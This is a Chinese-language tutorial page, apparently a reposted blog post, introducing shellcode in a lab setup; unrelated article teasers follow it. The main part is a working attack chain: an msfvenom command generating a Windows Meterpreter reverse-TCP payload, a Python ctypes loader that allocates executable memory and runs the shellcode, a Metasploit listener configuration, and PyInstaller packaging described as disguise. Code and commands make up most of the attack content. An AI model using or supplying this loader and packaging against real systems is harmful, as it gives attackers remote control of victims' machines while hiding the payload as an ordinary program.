【攻防技术系列】shellcode初始

news/2024/11/17 13:55:28/文章来源:https://www.cnblogs.com/o-O-oO/p/18302934

虚拟机环境搭建

【Kali】: 192.168.10.131
【win】: 192.168.10.1

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。

但是想要更充分理解什么是shellcode,我们得先了解下可执行程序和shellcode都是怎么运行的。
简单来说,平时在电脑上运行的程序一般是exe等可执行程序,它有图标、版本号可能还有图片等等数据,在程序开发的时候通常把这些称为资源段,除此之外exe程序内部还有数据段代码段,因为exe是有标准的文件结构的,程序真正执行的功能就是其中的代码段。
但shellcode没有完整的文件结构,它相当于是exe文件里面的代码段部分,因此不论将shellcode代码保存成什么文件格式(1.exe/2.jpg等)双击都是无法运行的,因为它不是操作系统规定的任何一种文件格式。

因此要运行shellcode需要我们自己写程序把它加载到指定的内存中去运行,这个程序通常就是shellcode加载器

一、shellcode入门实验

演示一下如何生成python语言的shellcode以及如何通过msf上线获得shell,并且也介绍下如何将python程序打包成exe可执行程序。

1.1 msfvemon生成python shellcode代码

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.131 LPORT=4444 -f py -o shellcode_64.py

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
......buf += b"\xf0\xb5\xa2\x56\xff\xd5"

在python语法中,以 b 开头的字符串表示字节串,它由一系列字节(bytes)组成。
字节串在处理二进制数据或特定编码的数据时很有用,例如处理网络数据、加密算法等。

在上面的shellcode payload中,\x 表示后面跟着的两个十六进制数字表示一个字节。

1.2 编写一个python的shellcode加载器

# -*- coding: utf-8 -*-import ctypesbuf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"省略其他部分"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

Tips:ctypes是python内置库,使python可以直接调用操作系统内核API接口

1.3 msf启动一个监听器,靶机运行上面shellcode

【kali】,配置如下:

msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.131
set LPORT 4444
exploit


【win(靶机)】,配置如下:

靶机上运行python shellcode加载器程序(需要自己手动加工一下):

python shellcode.py

【kali】端

靶机运行脚本之后,kali立马收到了来自靶机的会话:

中间出了一点问题,经排查发现payload有问题。

1.4 将shellcode及加载器打包成exe程序(伪装)

PyInstaller是一个在Windows、GNU/Linux、macOS等平台下将Python程序冻结(打包)为独立可执行文件的工具, 用于在未安装Python的平台上执行Python编写的应用程序。

# 安装PyInstaller模块
pip install PyInstaller
# 进行pyinstaller打包
pyinstaller -F -w shellcode.py

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/744119.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年,国内外哪些企业IM即时通讯聊天软件支持OEM模式?

随着信息技术的不断发展和互联网的日益普及,IM即时通讯聊天软件在企业的日常运营中扮演着越来越重要的角色。在众多软件中,支持OEM模式的企业IM即时通讯聊天软件更是备受关注。那么,在2024年,国内外有哪些支持OEM模式的企业IM即时通讯聊天软件呢?1.飞信钉 飞信钉是一款专门…

在webapi中创建一个jwt token

1.第一步首先创建一个webapi项目2.安装nuget包: Microsoft.AspNetCore.Authentication.JwtBearer3.,然后再Program.cs文件中添加 4.然后运行起来 5. 打开 jwt.io 网站,解密token 关于: iss, sub, exp,iat,nbf 更新信息看下图:

vscode打开npm脚本

设置 搜索npm 并更改部分设置(勾选 enable run from folder) 重启vscode,打开package.josn 此时npm脚本存在,点击 右下角出现npm脚本

NPA论文阅读笔记

NPA: Neural News Recommendation with Personalized Attention论文阅读笔记 这个又是一篇很老但是很经典的论文,这里来读一下 Abstract 现存的问题: ​ 不同的用户通常有不同的兴趣爱好,同一用户也可能有不同的兴趣爱好。因此,不同的用户点击同一篇新闻时可能会关注不同的…

[MRCTF2020]Ezaudit 1

信息收集,伪随机数打开之后发现什么按键都没用,直接扫目录得到了两个网址: www.zip login.html <?php header(Content-type:text/html; charset=utf-8); error_reporting(0); if(isset($_POST[login])){$username = $_POST[username];$password = $_POST[password];$Pr…

新一代工程科研效率协同平台peerup

如果您是一位工程师或者科研工作者,相信您一定经历过以下几种情景: 工程类仪器和软件普遍使用门槛很高,大量时间花费在学习使用和数据获取与分析上,而不是创造性工作。软件或仪器产生的数据格式各异,很难进行统一的数据分析与处理。 使用相同仪器,不同行业,公司,项目组…

WAIC 2024,好city啊!

7月4日,“以共商促共享•以善治促善智”为主题的2024世界人工智能大会暨人工智能全球治理高/级别会议(简称“WAIC 2024”)在上海举办。天翼云携智算创新成果精彩亮相世博展览馆,全方位展现在人工智能领域的深厚实力。7月4日,“以共商促共享•以善治促善智”为主题的2024世…

上榜!天翼分布式云操作系统入选“科创中国”先导技术榜单!

在近日召开的第二十六届中国科协年会上,中国科协正式发布2023年“科创中国”系列榜单,榜单包括先导技术榜、新锐企业榜、融通创新组织榜、技术经理人先锋榜等。天翼云自主研发的天翼分布式云操作系统入选先导技术榜,充分展现了在科技创新方面的硬实力。在近日召开的第二十六…

搜索枚举_冯政玮

搜索枚举_冯政玮 A - 循环赛 搜索剪枝 题面 \(n\) 支队伍比赛,每两支队伍比赛一次,平 \(1\) 胜 \(3\) 负 \(0\)。 给出队伍的最终得分,求有多少种可能的分数表。 平1胜3负0指:若两支队伍打平,则各得到 \(1\) 分; 否则,胜利的队伍得到 \(3\) 分,被打败的队伍得到 \(0\) …

探索Nuxt.js的useFetch:高效数据获取与处理指南

摘要:“探索Nuxt.js的useFetch:高效数据获取与处理指南”详述了Nuxt.js中useFetch函数的使用,包括基本用法、动态参数获取、拦截器使用,及参数详解。文章通过示例展示了如何从API获取数据,处理动态参数,自定义请求和响应,以及useFetch和useAsyncData的参数选项,帮助开发…

webrtc-streamer实时播放监控

公司要做web端监控实时播放,经过调研,webrtc-streamer的方式对前后端项目侵入最少,且没有延迟卡钝的现象。 一、准备工作一个摄像头,摄像头对应的rtsp流链接,一台电脑,一个vue项目。 二、Webrtc-streamer安装及启动教程1、下载安装包下载地址:https://github.com/mpromo…

[b01lers2020]Life on Mars 1

sql注入,信息搜集打开之后大脑一片空白,不知道入手点在哪,信息什么都查不到,最后抓包抓到了东西发现抓包的时候出现了两个参数,直接在网页上访问一下发现爆装备了,在这里我卡了挺久的,最后是看其他师傅的wp发现这里是sql注入,就是一个最基础的整形注入,确定了之后我们…